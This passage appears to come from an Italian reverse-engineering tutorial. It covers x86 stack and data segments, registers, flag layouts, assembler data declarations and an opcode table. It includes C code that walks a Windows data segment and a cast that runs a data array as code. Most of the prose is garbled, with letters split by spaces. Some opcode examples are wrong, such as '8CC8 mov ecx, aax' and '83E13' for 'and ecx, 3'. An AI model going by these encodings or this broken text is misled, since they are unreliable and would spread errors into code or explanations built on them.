event ual ment e anche possi bi l e st abi l i r e l or i gi ne.
Con i l pr ogr ammi no che segue possi bi l e vi sual i zzar e i dat i di st ack.

#define STACKLOW 1

int *stacktop, *ip;

void main(int argc, char *argv[])
{
stacktop = (int *) &argv;
printf("&argc=%08lx &argv=%08lx\n", &argc, &argv);
printf("&main=%08lx &f=%08lx &g=%08lx\n", main, f, g);
f(0x11112222, 0x33334444);
}

int f(int arg_1, int arg_2)
{
g(0x55556666);
}

int g(int arg_2)
{
int local;

local = 0x77778888;
#ifdef STACKLOW /* Stack grows towards LOWER addresses */
for (ip = stacktop; ip >= &local; ip--)
#else /* Stack grows towards HIGHER addresses*/
for (ip = stacktop; ip <= &local; ip++)
#endif
printf("%08lx\t%08x\n", ip, *ip);
}


La seguent e l a def i ni zi one di un segment o dat i con or i gi ne a 2000.

DATA SEGMENT
ORG 02000

(qui ci vanno le dichiarazioni dei vostri dati)

DATA ENDS

I l seguent e l i st at o most r a come possi bi l e r i cavar e i nf or mazi oni r el at i ve al
segment o dat i di un pr ogr amma i n esecuzi one.

#include <afxwin.h>
#include <afxext.h>
#include <dos.h>
#include "resourc2.h"

typedef struct tagDEFAULTDATASEGMENT
{
HANDLE hinstActive; // instance handle of active app
HWND hwndActive; // window handle of active app
WORD wSize, // size (bytes) of Data Segment.
wStaticData, // size (bytes) of static data.
wStackMax, // size (bytes) of stack size defined in .DEF
wStackUsed, // size (bytes) of stack actually used.
wHeapMoveable, // size (bytes) of heap allocation (moveable).
wHeapFixed, // size (bytes) of heap allocation (fixed).
wHeapFree, // size (bytes) of free space in heap.
wOther, // size (bytes) of remaining allocated space in DS.
wUnused; // size (bytes) of heap unused.
} DEFAULTDATASEGMENT;

static DEFAULTDATASEGMENT DDS ;


void CMainDlgWindow::dds_walk ()
{
/* Original Code by: Chiverton Graphics, Inc. 1991
Modified by Todd Osborne January 1994 to MFC 2.0 C++
application with new features. CompuServe ID: 71431,2243
*/

static DEFAULTDATASEGMENT OldDDS;

WORD wRecordSize, // size in bytes of heap record.
wStatus; // type of heap record.

LPSTR lpInstance, // far pointer to Default Data Segment.
lpHeapRecord, // far pointer to heap record.
lpNextHeapRecord; // far pointer to next heap record.

#define PREV_POINTER (*(WORD FAR*) lpHeapRecord) // Backward "pointer"
#define NEXT_POINTER (*(WORD FAR*)(lpHeapRecord+2)) // Forward "pointer"

#define PSTACKBOTTOM (*(WORD FAR*)(lpInstance+14))
#define PSTACKMIN (*(WORD FAR*)(lpInstance+12))
#define PSTACKTOP (*(WORD FAR*)(lpInstance+10))
#define PLOCALHEAP (*(WORD FAR*)(lpInstance+ 6))

// First, initialize the data segment values.
DDS.wSize = 0;
DDS.wStaticData = 0;
DDS.wStackMax = 0;
DDS.wStackUsed = 0;
DDS.wHeapMoveable = 0;
DDS.wHeapFixed = 0;
DDS.wHeapFree = 0;
DDS.wOther = 0;
DDS.wUnused = 0;

// Now, get the window that has the focus.
DDS.hwndActive = ::GetActiveWindow ();

// Is it a valid window?
if ( !IsWindow (DDS.hwndActive) ) return;

// If this is a different window than before, get a new instance handle.
if (DDS.hwndActive != OldDDS.hwndActive)
{
DDS.hinstActive = (HANDLE) GetWindowWord (DDS.hwndActive, GWW_HINSTANCE);
if (!DDS.hinstActive) return;
}

// Lock down the Data Segment
if ( !(lpInstance = (LPSTR)GlobalLock (DDS.hinstActive))) return;

/*
* The Data Segment is a global memory object - created by WINDOWS
* with a GlobalAlloc. It's comprised of 4 components: header,
* Static, stack, and local heap. All 4 components are offset
* into the segment, with the header at DS:0000.
*
*
* The header occupies the first 16 bytes of a Default Data Segment.
* Within the Header area are 3 pointers to the stack:
*
* pStackBottom - (highest physical address) beginning of stack.
* pStackMin - High-Water mark of actual stack use.
* pStackTop - (lowest physical address) end of stack.
*
* Remember, the stack grows "down" (higher to lower address), so
* to compute the stack sizes, we use these equations:
*
* wStackMax = pStackBottom - pStackTop ;
* wStackUsed = pStackBottom - pStackMin ;
*
*
*/
DDS.wStackMax = PSTACKBOTTOM - PSTACKTOP ;
DDS.wStackUsed = PSTACKBOTTOM - PSTACKMIN ;
DDS.wStaticData = PSTACKTOP ;

// First test for a heap. (It's possible there isn't one.)
if (PLOCALHEAP == 0)
{
GlobalUnlock (DDS.hinstActive);
return;
}

/*
* The heap begins where the
* stack ends. The offset that represents the
* beginning of the heap is stored in the header area, 6 bytes from
* DS:0000. Actually, the heap begins 4 bytes before this offset.
*
* Now we'll get a far pointer (lpHeapRecord) to the 1st record in the heap.
*
*/
lpHeapRecord = lpInstance + PLOCALHEAP - 4;


/*
* Traverse the local heap. The heap is implemented as a doubly-linked
* list. The 1st WORD is a backward "pointer" (ie, offset) to the
* previous record. The 2nd WORD is the forward pointer to the next record.
* When the forward pointer points to itself we are done.
*
*/
DDS.wSize = (WORD)GlobalSize (DDS.hinstActive);

while (FP_OFF(lpHeapRecord) < DDS.wSize)
{
lpNextHeapRecord = (lpInstance + NEXT_POINTER);
if (lpNextHeapRecord == lpHeapRecord) break;
wRecordSize = lpNextHeapRecord - lpHeapRecord; //includes ptr overhead
wStatus = (PREV_POINTER & 0x0003);

switch (wStatus)
{
case 0: DDS.wHeapFree += wRecordSize; break;
case 1: DDS.wHeapFixed += wRecordSize; break;
case 3: DDS.wHeapMoveable += wRecordSize; break;
}

lpHeapRecord = lpNextHeapRecord;
}

/*
* At this point, heap traversal is done.
* However, the heap can grow until the size of DS is 64K (0xFFFF).
* Determine how many additional bytes the heap can grow.
*/
DDS.wUnused = 0xFFFF - DDS.wSize;

// Anything else we didn't account for?
DDS.wOther = DDS.wSize - DDS.wStaticData
- DDS.wStackMax
- DDS.wHeapFixed
- DDS.wHeapFree
- DDS.wHeapMoveable ;

GlobalUnlock (DDS.hinstActive);

// If anything has changed since last walk, update client window.
if (DDS.hwndActive != OldDDS.hwndActive ||
DDS.wHeapFree != OldDDS.wHeapFree ||
DDS.wHeapFixed != OldDDS.wHeapFixed ||
DDS.wHeapMoveable != OldDDS.wHeapMoveable ||
DDS.wOther != OldDDS.wOther ||
DDS.wSize != OldDDS.wSize ||
DDS.wStackUsed != OldDDS.wStackUsed)
{
// Update Dialog Box Values
char sz[80];

// Get Active Window Title
char Title[80];
::GetWindowText(DDS.hwndActive, Title, 80);
sprintf(sz, "Watching: %s", Title);
SetDlgItemText(LBL_WATCHING, sz);

// Fill in Memory Information
sprintf(sz, "%u", DDS.wSize);
SetDlgItemText(LBL_DATA0, sz);

sprintf(sz, "%u", DDS.wStaticData);
SetDlgItemText(LBL_DATA1, sz);

sprintf(sz, "%u", DDS.wStackMax);
SetDlgItemText(LBL_DATA2, sz);

sprintf(sz, "%u", DDS.wStackUsed);
SetDlgItemText(LBL_DATA3, sz);

sprintf(sz, "%u", DDS.wHeapMoveable);
SetDlgItemText(LBL_DATA4, sz);

sprintf(sz, "%u", DDS.wHeapFixed);
SetDlgItemText(LBL_DATA5, sz);

sprintf(sz, "%u", DDS.wHeapFree);
SetDlgItemText(LBL_DATA6, sz);

sprintf(sz, "%u", DDS.wOther);
SetDlgItemText(LBL_DATA7, sz);

sprintf(sz, "%u", DDS.wUnused);
SetDlgItemText(LBL_DATA8, sz);

sprintf(sz, "%.3f", m_nTiming);
SetDlgItemText(LBL_DATA9, sz);

OldDDS = DDS;
}
}

I l C comunque per met t e di veder e come di f at t o un super assembl er .
Guar dat e i l seguent e esempi o e capi r et e i l per ch.
Di cevo pr i ma che i l codi ce vi ene al l ocat o nor mal ment e i n un segment o di codi ce
ment r e l e di chi ar azi oni gl obal i i n un segment o dat i .
Se pr endi amo i l debugger ed andi amo a veder e come sono sal vat e l e nost r e
i st r uzi oni vedi amo che sono del l e l unghe sequenze di numer i che noi possi amo
vi sual i zzar e i n bi nar i o, esadeci mal e o qual si asi base numer i ca che vogl i amo.
Qui ndi un codi ce del t i po :

mov ecx, eax
and ecx, 000003
ecc.

pot r emmo veder l o i n esadeci mal e come

8CC8 mov ecx, aax
83E13 and ecx, 000003

I l Li nguaggi o C possi ede i l concet t o di CAST ovver o di f or zat ur a i l qual e
per met t e di f ar veder e al l i nguaggi o del l e t i pol ogi e di ver se come se di f at t o
f osser o al t r i t i pi e qui ndi con pr opr i et ar i t met i che di f f er ent i dal l or i gi nal e.
Pr endi amo i numer i r el at i vi al codi ce assembl er di una f unzi one e i nser i amol i
come el ement i di un ar r ay di unsi gned char ( 1 byt e) .

unsigned char codex[] = { 0x8C, 0xC8, 0x83, 0xE1, 0x13 };

A quest o punt o di chi ar i amo un punt at or e ad una f unzi one.
Un punt at or e ad una f unzi one l o spazi o suf f i ci ent e a mant ener e memor i zzat o
l i ndi r i zzo di una f unzi one.

void (*function)();

Se a quest o punt o i nvece di assegnar gl i l i ndi r i zzo di una f unzi one esegui amo i l
CAST i mbr ogl i andol o e f acendogl i cr eder e che l i ndi r i zzo del l ar r ay di unsi gned
char si a di f at t o l i ndi r i zzo di una f unzi one avr emo che r i chi amando i l
punt at or e a f unzi one i l si st ema esegui r i numer i cont enut i nel l ar r ay come se
di f at t o f osser o codi ce bi nar i o.

(*function)() = (void(*)()) &codex[0];

Bel l o non ver o !
I l pr ogr ammi no i n C sar ebbe :

int a[] = { 12,23, 34,56,78 };

void (*func)() = (void (*)()) &a[0];

void main(void)
{
(*func)();
}

Tant o per non per der e l occhi o guar dat e i l t ut t o t r adot t o i n assembl er dal
compi l at or e.


TITLE test2.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _a
PUBLIC _func
_DATA SEGMENT
_a DD 0cH
DD 017H
DD 022H
DD 038H
DD 04eH
_func DD FLAT:_a
_DATA ENDS
PUBLIC _main
_TEXT SEGMENT
_main PROC NEAR
; File test2.c
; Line 10
push ebp
mov ebp, esp
; Line 11
call DWORD PTR _func
; Line 12
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END

Come pot et e veder e l a cal l sal t a esat t ament e dove ci sono gl i i nt er i .

ATTENZI ONE A NON ESEGUI RE I L CODI CE DATO CHE GLI I NTERI NON CORRI PSONDONO A
NI ENTE DI ESEGUI BI LE. MANDERESTE I N CRASH I L SI STEMA.

Facci amo sal t ar e i l si st ema ad esegui r e del codi ce dent r o al dat a segment .

Vedi amo or a l o scopo dei r egi st r i .

EAX e EDX sono r egi st r i a scopo gener al e che possono esser e ut i l i zzat i per
di ver si mot i vi .

ECX anche l ui a scopo gener al e. Di vent a speci al i zzat o quando vi ene ut i l i zzat o
i n f asi di cont eggi o.

EBX sempr e gener al pur pose anche se spesso vi ene ut i l i zzat o per cr ear e
i ndi r i zzi di di spi azzament o.

Come di cevo pr i ma i r egi st r i da EAX a EDX possono esser e vi st i come r egi st r i a
32, 16 oppur e a 8 bi t s.
Ad esempi o :


32 16 8 8
--- -- -- --
EAX AX AH AL [EAX[AX[AH][AL]]]
EBX BX BH BL [EBX[BX[BH][BL]]]
ECX CX CH CL [ECX[CX[CH][CL]]]
EDX DX DH DL [EDX[DX[DH][DL]]]


ESI ed EDI sono usat i spesso come r egi st r i d i ndi ce oppur e vengono spesso usat i
per punt ar e a st r i nghe.

ESP ed EBP sono usat i per gest i r e l o st ack.
Una vol t a l o st ack er a f i sso nei pr ocessor i ( pr ei st or i a) .
Successi vament e venner o i nser i t i dei r egi st r i per punt ar e al l a base ed al l a
t est a del l o st ack.
Esi st ono i nol t r e quat t r o r egi st r i di segment o e pr eci sament e quel l i del CODE
SEGMENT, DATA SEGMENT, STACK SEGMENT ed EXTRA SEGMENT.
Quest i sono CS, DS, ES,
GS, FS ed SS.
Un r egi st r o par t i col ar e
quel l o che mant i ene
l i ndi r i zzo
del l i st r uzi one i n
esecuzi one e pr eci sament e
EI P.
Nel pr ocessor e esi st e
anche un r egi st r o dei
f l ags che i ndi cano cer t i
st at i del l a CPU st essa.
Gl i i ndi r i zzi del l e
st r i nghe usat e nei
pr ogr ammi vengono spesso
i nser i t i nei r egi st r i per
cui r i sul t a spesso
i mpor t ant e aver e una
panor ami ca dei val or i a
cui punt ano i r egi st r i .
Spesso gl i i ndi r i zzi
del l e st r i nghe o dei
val or i sono i nser i t i ad
i ndi r i zzi cal col at i con :


[EDX + 10]

oppur e

[ECX 2]

Per quest o mot i vo al cuni di sassembl at or i possi edono f i nest r e i n cui most r ano i n
cont i nuazi one quest i val or i ment r e al t r i per met t ono di r i chi eder ne l a
vi sual i zzazi one con apposi t i comandi .
La seguent e f i nest r a di WDASM 8. 9 e devo ammet t er e che ver ament e ot t i ma come
quant i t di dat i most r at i .
I nol t r e per met t e di cambi ar e i l f or mat o dei dat i ( DWORD, WORD, BYTE ecc. )
I var i val or i r el at i vi a [ EAX 10] ecc. sono most r at i nel l a f i nest r a cent r al e.
E possi bi l e cambi ar e i l r egi st r o pr emendo i l pul sant e sul l at o si ni st r o del l a
l i st a di scor r i ment o.
I pul sant i sul l at o i n basso per met t ono i nvece di f ar e quant o appena det t o,
ovver o di cambi ar e i l f or mat o di vi sual i zzazi one.
La vi si one dei r egi st r i deve esser e anche cont empl at a nel l i st ant e i n cui si
anal i zzano l e i st r uzi one del l assembl er 80xx.
Un r egi st r o par t i col ar e quel l o dei f l ags i l qual e ser ve a segnal ar e event i
par t i col ar i .
Lo scopo di ogni si ngol o f l ag r i por t at o i n una t abel l a nel l a pagi na
successi va.
I l l i nguaggi o C di spone del l a speci f i ca _ASM ( ogni compi l at or e possi ede l a sua)
che per met t e di scr i ver e del codi ce i n assembl er .
Quest e i st r uzi oni possono esser e r i assunt e ut i l i zzando una mat r i ce i n cui sono
r aggr uppat e i n due gr uppi e pr eci sament e i st r uzi oni con un sol o oper ando o con
due.
Le i st r uzi oni sono r egi st r o a r egi st r o, r egi st r o a memor i a, memor i a a r egi st r o
oppur e possono i nf l ui r e su r egi st r i d i ndi ce.
Par l ando di r egi st r i r i cor di amoci che i pr ocessor i del l a cl asse 386 possi edono
una ser i e di quat t r o r egi st r i di br eakpoi nt che per met t e ai debugger di gest i r e
t al i f unzi onal i t .
Di cevamo pr i ma di una mat r i ce che pu most r ar e i t i pi di i st r uzi oni :




DUE OPERANDI UN OPERANDO
R <- M R
M <- R M
R <- R S *
R|M <- I
R|M <- S *
S <- R|M *

* Solamente istruzioni movimento dati (MOV, PUSH, POP)
S Registri di segmento (CS, DS, ES, SS)
R Registri ordinari EAX, EBX, ecc.)
M Uno degli indirizzi seguenti
Indirizzo puro
[BX]+offset
[BP]+offset
qualsiasi di questi indicizzati da SI
qualsiasi dei primi tre indicizzati da DI


Pr i ma di pr osegui r e con l e i st r uzi oni assembl at i ve di amo un occhi at a a quel l a
che per met t e di di chi ar ar e del l e var i abi l i .

FLAGS - Intel 8086 Family Flags Register

|11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0|
| | | | | | | | | | | | | | | | | '--- CF Carry Flag
| | | | | | | | | | | | | | | | '--- 1
| | | | | | | | | | | | | | | '--- PF Parity Flag
| | | | | | | | | | | | | | '--- 0
| | | | | | | | | | | | | '--- AF Auxiliary Flag
| | | | | | | | | | | | '--- 0
| | | | | | | | | | | '--- ZF Zero Flag
| | | | | | | | | | '--- SF Sign Flag
| | | | | | | | | '--- TF Trap Flag (Single Step)
| | | | | | | | '--- IF Interrupt Flag
| | | | | | | '--- DF Direction Flag
| | | | | | '--- OF Overflow flag
| | | | '----- IOPL I/O Privilege Level (286+ only)
| | | '----- NT Nested Task Flag (286+ only)
| | '----- 0
| '----- RF Resume Flag (386+ only)
'------ VM Virtual Mode Flag (386+ only)
- see PUSHF POPF STI CLI STD CLD

Una speci e di r egi st r o par t i col ar e i l seguent e, pr esent e sol o nel l e macchi ne
successi ve al 286.

MSW - Machine Status Word (286+ only)
|31|30-5|4|3|2|1|0| Machine Status Word
| | | | | | '---- Protection Enable (PE)
| | | | | '----- Math Present (MP)
| | | | '------ Emulation (EM)
| | | '------- Task Switched (TS)
| | '-------- Extension Type (ET)
| '---------- Reserved
'------------- Paging (PG)
Bit 0 PE Protection Enable, switches processor between
protected and real mode
Bit 1 MP Math Present, controls function of the WAIT
instruction
Bit 2 EM Emulation, indicates whether coprocessor functions
are to be emulated
Bit 3 TS Task Switched, set and interrogated by coprocessor
on task switches and when interpretting coprocessor
instructions
Bit 4 ET Extension Type, indicates type of coprocessor in
system
Bits 5-30 Reserved
bit 31 PG Paging, indicates whether the processor uses page
tables to translate linear addresses to physical
addresses

- see SMSW LMSW

Abbi amo accennat o pr i ma qual che cosa a r i guar do del l e al l ocazi oni del l e
var i abi l i nei var i segment i .
I n l i nguaggi come i l Basi c l a t i pol ogi a del l e var i abi l i r i guar da i n par t i col ar e
modo i l gener e dei cont enut i .
I n al t r e par ol e l e i nf or mazi oni di t i po quant i t at i vo possono esser e i nser i t e i n
var i abi l i di t i po numer i co ment r e l e i nf or mazi oni di t i po qual i t at i vo i n
var i abi l i st r i nga.
I n l i nguaggi o C i nvece l a t i pol ogi a del l e var i abi l i r i guar dano i n par t i col ar e
modo l e di mensi oni r el at i ve al l occupazi one del dat o st esso espr esso i n numer o
di byt es.
Ad esempi o un car at t er e che occupa un sol o byt e pu esser e cont enut o
t r anqui l l ament e i n un char anche se nessuno ci vi et a di i nser i r l o i n un i nt o
shor t .
Ol t r e a quest o nessuno ci vi et a di usar e l a var i abi l e per cal col i mat emat i ci .
Ad esempi o f ar e :

char c = A;
c = c * 2;

cor r et t o.
Al l i mi t e dobbi amo st ar e at t ent i a non mandar e i n over f l ow l a var i abi l e con i l
r i sul t at o del l oper azi one.
I l pr obl ema si pone spesso quando si usano var i abi l i per f ar e cal col i .
Se ad esempi o usassi mo una ser i e di var i abi l i per f ar e cal col i dobbi amo
pr eoccupar ci che l e var i abi l i si ano suf f i ci ent ement e gr osse a mant ener e i var i
val or i che dur ant e i cal col i si cr eano.
I n pr at i ca se avessi mo :

int n = 30000;
int x = 20;
int r = 5000;
long y;

sar emmo, f i no a quest o punt o, a post o.
Andr emmo mal e f acendo :

y = r + (n * r);

i n quant o ( n * r ) dar ebbe un val or e maggi or e al l e t i pol ogi e i nt usat e nei t i pi
del l oper azi one per cui i val or i sar ebber o t r oncat i .
Quest a causa sovent e di er r or i i nspi egabi l i .
I n assembl er l e var i abi l i sono di t i po BYTE, WORD, DOUBLEWORD e sono quasi
sempr e di chi ar at e nel dat a segment medi ant e l a si nt assi seguent e:

NOME_VAR TIPO ?

Ad esempi o :

DATA_PTR DW ?
ESC_CHAR DB ?

Le t i pol ogi e sono :

(nome var opzionale) DB (lista valori)
(nome var opzionale) DW (lista valori)
(nome var opzionale) DD (lista valori)
(nome var opzionale) DQ (lista valori)
(nome var opzionale) DT (lista valori)

ovver o

BYTE -> DB
WORD -> DW
DWORD -> DD
QWORD -> DQ
TWORD -> DT

Nel l e di chi ar azi oni possono esser e ut i l i zzat i t er mi ni par t i col ar i come ad
esempi o DUP.
Le seguent i sono al l ocazi oni val i de.

DW 5 ; alloca una word, inizializzandola con 5
DB 0,3,0 ; alloca tre bytes, inizializzandoli con 0, 3, 0
DB 5 DUP (0) ; equivalente a DB 0,0,0,0,0
DW 2 DUP (0,4 DUP (7)) ; equivalente a DW 0,7,7,7,7,0,7,7,7,7

Per l e st r i nghe possi bi l e :

DB Ciao

Vedi amo i n det t agl i o i l set i st r uzi oni assembl er .

Istruzioni ordinarie a due operandi

1) ADD e ADC Addi zi one con o senza i ncl uder e un r i por t o dal l a pr ecedent e
addi zi one.
2) SUB o SBB Sot t r azi one con o senza r i por t o da una pr ecedent e sot t r azi one.
3) CMP Compar azi one
4) AND, OR o XOR Ti pi che oper azi oni bool eane
5) TEST Ti po AND
6) MOV Muove i dat i dal l a sor gent e al l a dest i nazi one
7) LDS, LES, LEA For me di MOV speci al i zzat e

Mol t e f or me di car i cament o del l e st r i nghe r el at i ve a messaggi da vi sual i zzar e
vengono esegui t e t r ami t e quest e ul 6t i me i st r uzi oni .
Sono comuni cost r ut t i del t i po :

lea edx, dword ptr [ebp + FFFFAA8]


Istruzioni ordinarie ad un solo operando sono :

1) I NC i ncr ement a i l cont enut o
2) DEC Decr ement a
3) NEG Due compl ement i
4) NOT Un compl ement o
5) PUSH I nser i sce un val or e nel l o st ack
6) POP Pr el eva un val or e dal l o st ack

Al cune i st r uzi oni non seguono l e r egol e gener al i del l e al t r e ma comunque
r i chi edono l uso di er t i r egi st r i .

1) I st r uzi oni di mol t i pl i cazi one e di vi si one.
2) I st r uzi oni di aggi ust ament o che ai ut ano a esegui r e oper azi oni su dat i
ASCI I
3) Oper azi oni di shi f t e di r ot azi one
4) I N, OUT l e qual i agi scono sul l e 1024 possi bi l i por t e har dwar e
5) CBW, CWD Conver t ono byt e i n wor d oppur e wor d i n doubl ewor d.

Istruzioni che agiscono sul flusso del programma.

1) CALL, RET - Chi amat a e r i t or no. Ri cor dat evi del di scor so f at t o per i l
basi c l egat o al l e i st r uzi oni di sal t o condi zi onat e ( GOSUB e RETURN) .
2) I NT, I RET Chi amat a d i nt er r upt s e r i t or no da una r out i ne d i nt er r i pt .
3) J MP Sal t o
4) LOOP, LOOPNZ, LOOPZ I st r uzi oni che i mpl ement ano dei l oops.
5) Var i e i st r uzi oni di sal t o condi zi onat e ( J E, J NE ecc. )
Le vedr emo n modo det t agl i at o t r a poco.

Istruzioni su stringhe o sequenze di caratteri.

Consi der at e i n quest e i st r uzi oni che spesso i sor gent i sono descr i t t e da
combi nazi oni di DS e SI , ment r e l e dest i nazi oni da ES e DI .

1) CMPSB/ CMPSW Compar a byt e o wor d
2) LODSB/ LODSW Legge byt es o wor ds i n AL o AX
3) STOSB/ STOSW Sal va byt es o wor ds da AL o AX.
4) MOVSB/ MOVSW Muove byt es o wor ds
5) SCASB/ SCASW Compar a byt es o wor ds con i cont enut i di AL o AX.
6) REP/ REPE/ REPNE Un pr ef i sso con i l qual e pu esser e combi nat o con
qual si asi del l e pr ecedent i i st r uzi oni per che vengano r i pet ut e su una
st r i nga l a cui l unghezza i n CX.
Ad esempi o :

REP MOVSB
REP STOSB
REPNE SCASB

Altre istruzioni riguardano lo stack.
Le f unzi onal i t sono due :

1) PUSH I nser i sce un val or e nel l o st ack
2) POP Lo pr el eva

Quando segui t e un pr ogr amma t enet el o sempr e a bada i n par t i col ar modo pr i ma e
dopo qual che chi amat a.
A pr oposi t o di chi amat e, quest e avvengono t r ami t e l i st r uzi one :

1) CALL Esegue una chi amat a

Se usat e WDASM pot et e r i chi eder e l a vi sual i zzazi one di ESP nel seguent e modo.
Pr endi amo un pi ccol o esempi o per capi r e di cosa st i amo par l ando.
Supponi amo di aver e i l seguent e codi ce e di esser e posi zi onat i sul l a l i nea
pr ecedent e aql l a cal l .

:0040C191 A3309D4100 mov dword ptr [00419D30], eax
:0040C196 E895230000 call 0040E530
:0040C19B A300744100 mov dword ptr [00417400], eax
:0040C1A0 85C0 test eax, eax

Se i n WDASM anal i zzi amo l a f i nest r a con i r egi st r i possi amo r i chi eder e di
vi sual i zzar e nel l a f i nest r el l a cent r al e i l r egi st r o ESP.
I l seguent e l a copi a pr i ma del l a cal l .


[esp-00000014] - 0000017f ....
[esp-00000010] - 00000000 ....
[esp-0000000C] - 00000216 ....
[esp-00000008] - 00000316 ....
[esp-00000004] - 0040c191 ..@.
[esp+00000000] - 00000000 ....
[esp+00000004] - 815d117c |.].
[esp+00000008] - 00550000 ..U.
[esp+0000000C] - 00000000 ....
[esp+00000010] - 00000008 ....
[esp+00000014] - 00000000 ....

Ri cor dat evi che i l pul sant i i n basso per met t ono di veder e come dwor d, wor d, byt e
o codi ce i dat i di quest a f i nest r a.
A quest o punt o r i chi edi amo di esegui r e l a cal l e successi vament e anal i zzi amo i
dat i most r at i .

[esp-00000014] - 0000017f ....
[esp-00000010] - 815d117c |.].
[esp-0000000C] - 0065fe38 8.e.
[esp-00000008] - 00550000 ..U.
[esp-00000004] - 0040c19b ..@.
[esp+00000000] - 00000000 ....
[esp+00000004] - 815d117c |.].
[esp+00000008] - 00550000 ..U.
[esp+0000000C] - 00000000 ....
[esp+00000010] - 00000008 ....
[esp+00000014] - 00000000 ....

Se vi dovesse ser vi r e apr i t evi i l NOTEPAD e di t ant o i n t ant o usat e i pul sant i
COPY posi zi onat i su ogni f i nest r el l a.
Successi vament e pot et e usar e i l comando PASTE per met t er vel i nel not epad.
A f or za di segui r e pr ogr ammi assembl er t ener si segnat o da qual che par t e i dat i
pu esser e ut i l e.
Esi st ono anche dei f l ags che i ndi cano al cuni avveni ment i par t i col ar i qual i
i nt er r upt s, r i por t i ecc.
La seguent e t abel l a most r a l e i st r uzi oni r i ser vat e del l assembl er compr esi gl i
opcode.
Quest i sono i mpor t ant i i n quant o necessar i conoscer l i per pot er l i sost i t ui r e
con un edi t or hex nel l e pat ch ai nost r i pr ogr ammi .
Gl i i ndi r i zzi ef f et t i vi l i pot et e cal col ar e r i f er endovi al l a t abel l a r i por t at a
pr ecedent ement e i n quest o capi t ol o.

v denota un tipo uguale a w ovvero una word (16 bits).
"c" indica che loperando una code-label, la quale punta ad una parte del
programma che deve essere salato o chiamato.
"e" indica che loperando un indirizzo effettivo.
"i" indica una costante immediata.
"m" indica una variabile in memoria.
"r" indica un registro ad uso generale.
"rv/m" usato in istruzioni bit test

Opcodes Instruction Description

67 or nil A2 (prefix) 3 Use 16-bit address (indexing) in next instruction
67 or nil A4 (prefix) 3 Use 32-bit address (indexing) in next instruction
37 AAA ASCII adjust AL (carry into AH) after addition
D5 0A AAD ASCII adjust before division (AX = 10*AH + AL)
D4 0A AAM ASCII adjust after multiply (AL/10: AH=Quo AL=Rem)
3F AAS ASCII adjust AL (borrow from AH) after subtraction

14 ib ADC AL,ib Add with carry immediate byte into AL
15 iv ADC eAX,iv Add with carry immediate vword into eAX
80 /2 ib ADC eb,ib Add with carry immediate byte into EA byte
10 /r ADC eb,rb Add with carry byte register into EA byte
83 /2 ib ADC ev,ib Add with carry immediate byte into EA vword
81 /2 iv ADC ev,iv Add with carry immediate vword into EA vword
11 /r ADC ev,rv Add with carry vword register into EA vword
12 /r ADC rb,eb Add with carry EA byte into byte register
13 /r ADC rv,ev Add with carry EA vword into vword register

04 ib ADD AL,ib Add immediate byte into AL
05 iv ADD eAX,iv Add immediate vword into eAX
80 /0 ib ADD eb,ib Add immediate byte into EA byte
00 /r ADD eb,rb Add byte register into EA byte
83 /0 ib ADD ev,ib Add immediate byte into EA vword
81 /0 iv ADD ev,iv Add immediate vword into EA vword
01 /r ADD ev,rv Add vword register into EA vword
02 /r ADD rb,eb Add EA byte into byte register
03 /r ADD rv,ev Add EA vword into vword register
0F 20 ADD4S N Add CL nibbles BCD, DS:SI into ES:DI (CL even,NZ)

24 ib AND AL,ib Logical-AND immediate byte into AL
25 iv AND eAX,iv Logical-AND immediate vword into eAX
80 /4 ib AND eb,ib Logical-AND immediate byte into EA byte
20 /r AND eb,rb Logical-AND byte register into EA byte
83 /4 ib AND ev,ib Logical-AND immediate byte into EA vword
81 /4 iv AND ev,iv Logical-AND immediate vword into EA vword
21 /r AND ev,rv Logical-AND vword register into EA vword
22 /r AND rb,eb Logical-AND EA byte into byte register
23 /r AND rv,ev Logical-AND EA vword into vword register
63 /r ARPL ew,rw 2 Adjust RPL of EA word not smaller than RPL of rw

62 /r BOUND rv,m2v 2 INT 5 if rw not between 2 vwords at [m] inclusive
0F BC BSF rv,ev 3 Set rv to lowest position of NZ bit in ev
0F BD BSR rv,ev 3 Set rv to highest position of NZ bit in ev
0F C8+r BSWAP rd 4 Swap bytes 1,4 and 2,3 of dword register

0F BA/4 ib BT rv/m,ib 3 Set Carry flag to bit # ib of array at rv/m
0F A3/r BT rv/m,rv 3 Set Carry flag to bit # rv of array at rv/m
0F BA/7 ib BTC rv/m,ib 3 Set CF to, then compl bit ib of array at rv/m
0F BB/r BTC rv/m,rv 3 Set CF to, then compl bit rv of array at rv/m
0F BA/6 ib BTR rv/m, 3 Set CF to, then reset bit ib of array at rv/m
0F B3/r BTR rv/m,rv 3 Set CF to, then reset bit rv of array at rv/m
0F BA/5 ib BTS rv/m,ib 3 Set CF to, then set bit ib of array at rv/m
0F AB/r BTS rv/m,rv 3 Set CF to, then set bit rv of array at rv/m

9A cp CALL cp Call far segment, immediate 4- or 6-byte address
E8 cv CALL cv Call near, offset relative to next instruction
FF /3 CALL ep Call far segment, address at EA memory location
FF /2 CALL ev Call near, offset absolute at EA vword
0F FF ib CALL80 ib N Call 8080-emulation code at INT number ib

98 CBW Convert byte into word (AH = top bit of AL)
99 CDQ 3 Convert dword to qword (EDX = top bit of EAX)
F8 CLC Clear carry flag
FC CLD Clear direction flag so SI and DI will increment
FA CLI Clear interrupt enable flag; interrupts disabled

0F 12/0 CLRBIT eb,CL N Clear bit CL of eb
0F 13/0 CLRBIT ew,CL N Clear bit CL of ew
0F 1A/0 ib CLRBIT eb,ib N Clear bit ib of eb
0F 1B/0 ib CLRBIT ew,ib N Clear bit ib of ew
0F 06 CLTS 2 Clear task switched flag
F5 CMC Complement carry flag

3C ib CMP AL,ib Subtract immediate byte from AL for flags only
3D iv CMP eAX,iv Subtract immediate vword from eAX for flags only
80 /7 ib CMP eb,ib Subtract immediate byte from EA byte for flags only
38 /r CMP eb,rb Subtract byte register from EA byte for flags only
83 /7 ib CMP ev,ib Subtract immediate byte from EA vword for flags only
